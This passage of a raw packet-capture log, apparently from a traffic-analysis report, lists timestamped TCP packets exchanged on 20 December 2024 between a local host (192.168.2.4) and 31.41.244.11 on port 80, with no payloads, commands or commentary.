Dec 20, 2024 09:12:12.102404118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.102456093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.102514029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.102562904 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.103451014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.103499889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.103545904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.103598118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.104370117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.104465008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.104845047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.104897976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.105359077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.105422974 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.105473042 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.105521917 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.106369972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.106425047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.106472969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.106519938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.107306957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.107357025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.107475996 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.107527018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.108314037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.108366013 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.108406067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.108455896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.109287977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.109352112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.109354019 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.109401941 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.110255957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.110306025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.110378027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.110428095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.111233950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.111280918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.111382008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.111429930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.112225056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.112276077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.112340927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.112391949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.113250017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.113301039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.113434076 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.113486052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.114196062 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.114243031 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.114321947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.114371061 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.115161896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.115211010 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.256231070 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.256369114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.256520033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.256550074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.256616116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.256697893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.256920099 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.257374048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.257431984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.257509947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.257565022 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.258532047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.258569002 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.258637905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.259552956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.259587049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.259588957 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.259618044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.259649992 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.260556936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.260632038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.260713100 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.260795116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.261522055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.261557102 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.261583090 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.261601925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.262295961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.262347937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.262480974 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.262538910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.262953997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.263082027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.263135910 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.264019966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.264142990 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.264198065 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.264916897 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.264972925 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.265028000 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.265075922 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.265929937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.265981913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.265984058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.266033888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.266875029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.266925097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.267014980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.267065048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.267860889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.267895937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.267918110 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.267940044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.268878937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.268937111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.269016027 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.269068956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.269828081 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.269877911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.270015001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.270066023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.270833969 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.270927906 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.271017075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.271064997 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.271785021 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.271836996 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.271918058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.271967888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.272787094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.272838116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.272918940 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.272972107 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.273750067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.273808956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.273910999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.273962021 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.274766922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.274818897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.274840117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.274889946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.275716066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.275764942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.275826931 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.275876999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.276701927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.276751995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.276817083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.276866913 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.277687073 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.277735949 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.277801037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.277851105 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.278661013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.278711081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.278789997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.278841019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.279659986 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.279711008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.279788017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.279839993 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.280621052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.280668020 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.280730963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.280781984 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.281605005 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.281709909 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.281730890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.281780005 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.282594919 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.282644987 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.282711029 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.282759905 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.283572912 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.283622026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.283689022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.283740044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.284703970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.284756899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.284825087 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.284878016 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.285617113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.285651922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.285670042 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.285696983 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.286530972 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.286581039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.286664009 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.286708117 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.287528992 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.287579060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.287723064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.287772894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.288614035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.288669109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.288712978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.288768053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.289518118 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.289566994 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.289695024 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.289745092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.290488958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.290539026 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.290541887 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.290585995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.291570902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.291620016 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.291748047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.291800976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.292437077 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.292488098 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.292552948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.292599916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.293484926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.293536901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.293538094 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.293582916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.294406891 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.294460058 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.294528961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.294578075 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.295413017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.295464039 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.295528889 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.295577049 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.296386003 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.296432972 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.296494961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.296545029 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.297394037 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.297444105 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.297533035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.297580957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.298355103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.298408031 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.298408985 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.298455000 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.299376965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.299423933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.299429893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.299480915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.300353050 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.300405025 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.300453901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.300504923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.301461935 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.301512003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.301554918 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.301605940 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.302437067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.302499056 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.302601099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.302651882 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.303462982 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.303499937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.303515911 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.303539991 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.304394960 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.304478884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.304534912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.305308104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.305408955 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.305463076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.306238890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.306294918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.306448936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.306500912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.307486057 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.307548046 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.448390961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.448438883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.448484898 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.448503017 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.448751926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.448805094 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.448906898 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.448959112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.449662924 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.449717999 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.449801922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.449853897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.450608015 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.450659037 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.450663090 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.450711012 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.451602936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.451653957 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.451718092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.451767921 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.452624083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.452677965 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.452680111 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.452728987 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.453685999 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.453732014 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.453741074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.453794003 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.454591036 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.454644918 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.454646111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.454696894 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.455554008 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.455607891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.455661058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.455720901 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.456532001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.456584930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.456664085 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.456713915 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.457506895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.457562923 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.457632065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.457684040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.458533049 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.458585978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.458657980 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.458708048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.459477901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.459533930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.459597111 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.459649086 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.460436106 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.460488081 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.460567951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.460618973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.461427927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.461473942 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.461540937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.461591959 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.462438107 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.462486982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.462565899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.462615967 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.463448048 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.463500977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.463579893 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.463629007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.464498043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.464555979 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.464586973 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.465441942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.465506077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.465555906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.465725899 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:12.466394901 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:12.466500044 CET	80	49759	31.41.244.11	192.168.2.4
